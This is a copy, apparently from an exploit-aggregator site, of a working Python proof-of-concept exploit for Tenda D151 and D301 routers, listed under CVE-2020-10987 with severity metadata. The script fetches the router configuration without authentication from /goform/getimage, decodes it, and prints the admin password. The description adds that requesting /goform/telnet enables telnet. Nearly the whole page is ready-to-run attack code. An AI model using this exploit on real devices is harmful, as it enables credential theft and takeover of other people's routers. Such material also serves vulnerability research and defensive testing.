Advertisement






Tenda D151 / D301 Configuration Download

CVE Category Price Severity
CVE-2020-10987 CWE-213 $500 High
Author Risk Exploitation Type Date
Unknown High Remote 2021-04-21
CPE
cpe:cpe:/h:tenda:d151 cpe:/h:tenda:d301
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H 0.33283 0.825553

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021040116

Below is a copy:

Tenda D151 / D301 Configuration Download
# Exploit Title: Tenda D151 & D301 - Configuration Download (Unauthenticated)
# Date: 19-04-2021
# Exploit Author: BenChaliah
# Author link: https://github.com/BenChaliah
# Vendor Homepage: https://www.tendacn.com
# Software Link: https://www.tendacn.com/us/download/detail-3331.html
# Versions:    
#   - D301 1.2.11.2_EN
#   - D301 V2.0 50.22.1.8_EN
#   - D151 V2.0 50.21.1.5_EN


# --- Description --- #

# This exploits allows for the download of the current router config including the admin login, just by requesting {IP}/goform/getimage,
# you can also activate telnet service by requesting /goform/telnet. Telnet activation issue exists in many other tenda devices too.

# --- Proof of concept --- #


import struct
import itertools
import random, sys
import requests
import base64



FETCH_CODE = "\x80\x0f\x07\xe7\x83i\xb0@v2\x9c\x8ef\x93y\xb8z"
ADMIN_LOG_CFG = {'AdminPassword': 'admin', 'SupportPassword': 'support'}

CLEAR_CODE = 256
END_OF_CODE = CLEAR_CODE + 1

MIN_WIDTH = 8
DEFAULT_MIN_BITS = MIN_WIDTH + 1
DEFAULT_MAX_BITS = 12




def cmsDecoder(compressed_cfg):
    _cp_dict = dict((pt, struct.pack("B", pt)) for pt in range(256))
    _cp_dict[CLEAR_CODE] = CLEAR_CODE
    _cp_dict[END_OF_CODE] = END_OF_CODE
    prefix, offset, ignore = None, 0, 0
    codepoints_arr, remainder, bits = [], [], []

    init_csize = len(_cp_dict)

    codesize = init_csize
    minwidth = MIN_WIDTH
    while (1 << minwidth) < codesize:
        minwidth = minwidth + 1
    pointwidth = minwidth

    buts_arr = []
    for b in compressed_cfg:
        value = struct.unpack("B", b)[0]
        for bitplusone in range(8, 0, -1):
            bitindex = bitplusone - 1
            buts_arr.append(1 & (value >> bitindex))

    for nextbit in buts_arr:
        offset = (offset + 1) % 8
        if ignore > 0:
            ignore = ignore - 1
            continue
        bits.append(nextbit)
        if len(bits) == pointwidth:
            cp_int = 0
            lsb_first = [b for b in bits]
            lsb_first.reverse()
            for bit_index in range(len(lsb_first)):
                if lsb_first[bit_index]:
                    cp_int = cp_int | (1 << bit_index)

            bits = []
            codepoints_arr.append(cp_int)
            codesize = codesize + 1
            if cp_int in [CLEAR_CODE, END_OF_CODE]:
                codesize = init_csize
                pointwidth = minwidth
            else:
                while codesize >= (2 ** pointwidth):
                    pointwidth = pointwidth + 1
            if cp_int == END_OF_CODE:
                ignore = (8 - offset) % 8


    decodedBytes = []
    for cp_int in codepoints_arr:

        suffix = ""
        if cp_int == CLEAR_CODE:
            _cp_dict = dict((pt, struct.pack("B", pt)) for pt in range(256))
            _cp_dict[CLEAR_CODE] = CLEAR_CODE
            _cp_dict[END_OF_CODE] = END_OF_CODE
            prefix = None

        elif cp_int != END_OF_CODE:
            if cp_int in _cp_dict:
                suffix = _cp_dict[cp_int]
                if None != prefix:
                    _cp_dict[len(_cp_dict)] = prefix + suffix[0]
            else:
                suffix = prefix + prefix[0]
                _cp_dict[len(_cp_dict)] = suffix
            prefix = suffix
        decoded = suffix
        for char in decoded:
            decodedBytes.append(char)
    return decodedBytes






def exploit(ip):
    print "[!] Downloading config"
    try:
        r = requests.get("http://{}/goform/getimage".format(ip))
        pass
    except:
        print "[-] Failed to download the config, the target may not be vulnerable"

    BIN_CONTENT = r.content
    BIN_CONTENT = BIN_CONTENT[BIN_CONTENT.index(FETCH_CODE):][:16*50]

    CONFIG_XML = b"".join(cmsDecoder(BIN_CONTENT))

    USER_, PASS_ = "", ""
    for i in ADMIN_LOG_CFG.keys():
        if i in CONFIG_XML:
            CONFIG_XML = CONFIG_XML[CONFIG_XML.index(i) + len(i) + 1:]
            PASS_ = CONFIG_XML[:CONFIG_XML.index('</')]
            USER_ = ADMIN_LOG_CFG[i]
            print "\tusername: {}\n\tpassword: {}\n".format(USER_, base64.b64decode(PASS_).rstrip('\x00'))
            return 0
    print "[-] Failed to decode the config file\n"
    return -1



if len(sys.argv) == 1:
    print "usage: python2 " + sys.argv[0] + " router_ip"
    print "example: python2 exploit.py http://192.168.1.1"
    exit()



if __name__ == "__main__":

    print """\
        _  _
  ___ (~ )( ~)
 /   \_\ \/ /   
|   D_ ]\ \/  -- By BenCh@li@h
|   D _]/\ \  -- BenChaliah@github
 \___/ / /\ \\
      (_ )( _)
          
"""

    try:
        exploit(sys.argv[1])
    except Exception as e:
        print str(e)
            

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum